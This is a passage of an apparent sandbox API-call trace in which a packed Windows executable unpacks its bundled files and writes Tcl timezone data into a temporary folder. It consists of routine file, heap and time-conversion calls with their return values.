dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.776] GetFileType (hFile=0x10c) returned 0x1 [0040.776] htonl (hostlong=0xbb000000) returned 0xbb [0040.777] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.777] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xbb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xbb, lpOverlapped=0x0) returned 1 [0040.777] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.777] CloseHandle (hObject=0x10c) returned 1 [0040.778] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e170 | out: hHeap=0x530000) returned 1 [0040.778] htonl (hostlong=0x30000000) returned 0x30 [0040.778] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.778] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.778] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.778] GetFileType (hFile=0x10c) returned 0x1 [0040.778] htonl (hostlong=0xef275b00) returned 0x5b27ef [0040.778] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fd7ef, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.778] htonl (hostlong=0xe4000000) returned 0xe4 [0040.778] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xe4) returned 0x550600 [0040.778] htonl (hostlong=0xe4000000) returned 0xe4 [0040.778] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.778] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.778] htonl (hostlong=0xfc010000) returned 0x1fc [0040.778] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1fc) returned 0x5506f0 [0040.778] htonl (hostlong=0xe4000000) returned 0xe4 [0040.778] htonl (hostlong=0xfc010000) returned 0x1fc [0040.778] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.779] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.779] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.779] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.779] CloseHandle (hObject=0x10c) returned 1 [0040.779] GetLastError () returned 0x0 [0040.779] SetLastError (dwErrCode=0x0) [0040.779] GetLastError () returned 0x0 [0040.779] SetLastError (dwErrCode=0x0) [0040.779] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.779] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.779] GetFileType (hFile=0x10c) returned 0x1 [0040.779] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.779] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.779] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.779] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.779] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.779] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.779] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.779] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.779] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.779] CloseHandle (hObject=0x10c) returned 1 [0040.779] GetLastError () returned 0x0 [0040.779] SetLastError (dwErrCode=0x0) [0040.779] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.779] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.780] GetFileType (hFile=0x10c) returned 0x1 [0040.780] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.780] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.780] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.780] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.780] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.780] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.780] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.780] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.780] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.780] CloseHandle (hObject=0x10c) returned 1 [0040.780] GetLastError () returned 0x0 [0040.780] SetLastError (dwErrCode=0x0) [0040.780] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.780] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.780] GetFileType (hFile=0x10c) returned 0x1 [0040.780] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.780] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.780] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.780] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.780] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.780] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.780] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.780] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.780] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.781] CloseHandle (hObject=0x10c) returned 1 [0040.781] GetLastError () returned 0x0 [0040.781] SetLastError (dwErrCode=0x0) [0040.781] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Urumqi") returned 68 [0040.781] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Urumqi" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\urumqi"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.781] GetLastError () returned 0x2 [0040.781] SetLastError (dwErrCode=0x2) [0040.781] GetLastError () returned 0x2 [0040.781] SetLastError (dwErrCode=0x2) [0040.781] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Urumqi", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Urumqi", lpFilePart=0x0) returned 0x43 [0040.781] GetLastError () returned 0x2 [0040.781] SetLastError (dwErrCode=0x2) [0040.781] GetLastError () returned 0x2 [0040.781] SetLastError (dwErrCode=0x2) [0040.781] GetLastError () returned 0x2 [0040.781] SetLastError (dwErrCode=0x2) [0040.781] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Urumqi") returned 68 [0040.781] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.781] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Urumqi" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\urumqi"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.781] GetFileType (hFile=0x10c) returned 0x1 [0040.781] htonl (hostlong=0xfc010000) returned 0x1fc [0040.781] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.782] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x1fc, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x1fc, lpOverlapped=0x0) returned 1 [0040.782] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.782] CloseHandle (hObject=0x10c) returned 1 [0040.783] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5506f0 | out: hHeap=0x530000) returned 1 [0040.783] htonl (hostlong=0x30000000) returned 0x30 [0040.783] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.783] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.783] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.783] GetFileType (hFile=0x10c) returned 0x1 [0040.783] htonl (hostlong=0xd3285b00) returned 0x5b28d3 [0040.783] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fd8d3, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.783] htonl (hostlong=0x1a020000) returned 0x21a [0040.783] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x21a) returned 0x550600 [0040.783] htonl (hostlong=0x1a020000) returned 0x21a [0040.783] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.783] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.783] htonl (hostlong=0xb080000) returned 0x80b [0040.783] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x80b) returned 0x55e278 [0040.783] htonl (hostlong=0x1a020000) returned 0x21a [0040.783] htonl (hostlong=0xb080000) returned 0x80b [0040.783] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.783] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.783] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.783] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.783] CloseHandle (hObject=0x10c) returned 1 [0040.783] GetLastError () returned 0x0 [0040.783] SetLastError (dwErrCode=0x0) [0040.783] GetLastError () returned 0x0 [0040.783] SetLastError (dwErrCode=0x0) [0040.784] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.784] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.784] GetFileType (hFile=0x10c) returned 0x1 [0040.784] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.784] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.784] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.784] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.784] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.784] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.784] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.784] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.784] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.784] CloseHandle (hObject=0x10c) returned 1 [0040.784] GetLastError () returned 0x0 [0040.784] SetLastError (dwErrCode=0x0) [0040.784] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.784] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.784] GetFileType (hFile=0x10c) returned 0x1 [0040.784] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.784] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.784] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.784] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.784] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.784] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.785] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.785] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.785] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.785] CloseHandle (hObject=0x10c) returned 1 [0040.785] GetLastError () returned 0x0 [0040.785] SetLastError (dwErrCode=0x0) [0040.785] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.785] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.785] GetFileType (hFile=0x10c) returned 0x1 [0040.785] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.785] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.785] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.785] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.785] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.785] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.785] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.785] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.785] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.785] CloseHandle (hObject=0x10c) returned 1 [0040.785] GetLastError () returned 0x0 [0040.785] SetLastError (dwErrCode=0x0) [0040.785] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Ust-Nera") returned 70 [0040.785] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Ust-Nera" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\ust-nera"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.785] GetLastError () returned 0x2 [0040.786] SetLastError (dwErrCode=0x2) [0040.786] GetLastError () returned 0x2 [0040.786] SetLastError (dwErrCode=0x2) [0040.786] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Ust-Nera", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Ust-Nera", lpFilePart=0x0) returned 0x45 [0040.786] GetLastError () returned 0x2 [0040.786] SetLastError (dwErrCode=0x2) [0040.786] GetLastError () returned 0x2 [0040.786] SetLastError (dwErrCode=0x2) [0040.786] GetLastError () returned 0x2 [0040.786] SetLastError (dwErrCode=0x2) [0040.786] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Ust-Nera") returned 70 [0040.786] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.786] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Ust-Nera" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\ust-nera"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.789] GetFileType (hFile=0x10c) returned 0x1 [0040.789] htonl (hostlong=0xb080000) returned 0x80b [0040.789] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.789] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x80b, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x80b, lpOverlapped=0x0) returned 1 [0040.790] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.790] CloseHandle (hObject=0x10c) returned 1 [0040.790] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0040.790] htonl (hostlong=0x30000000) returned 0x30 [0040.790] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.790] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.790] CreateFileW 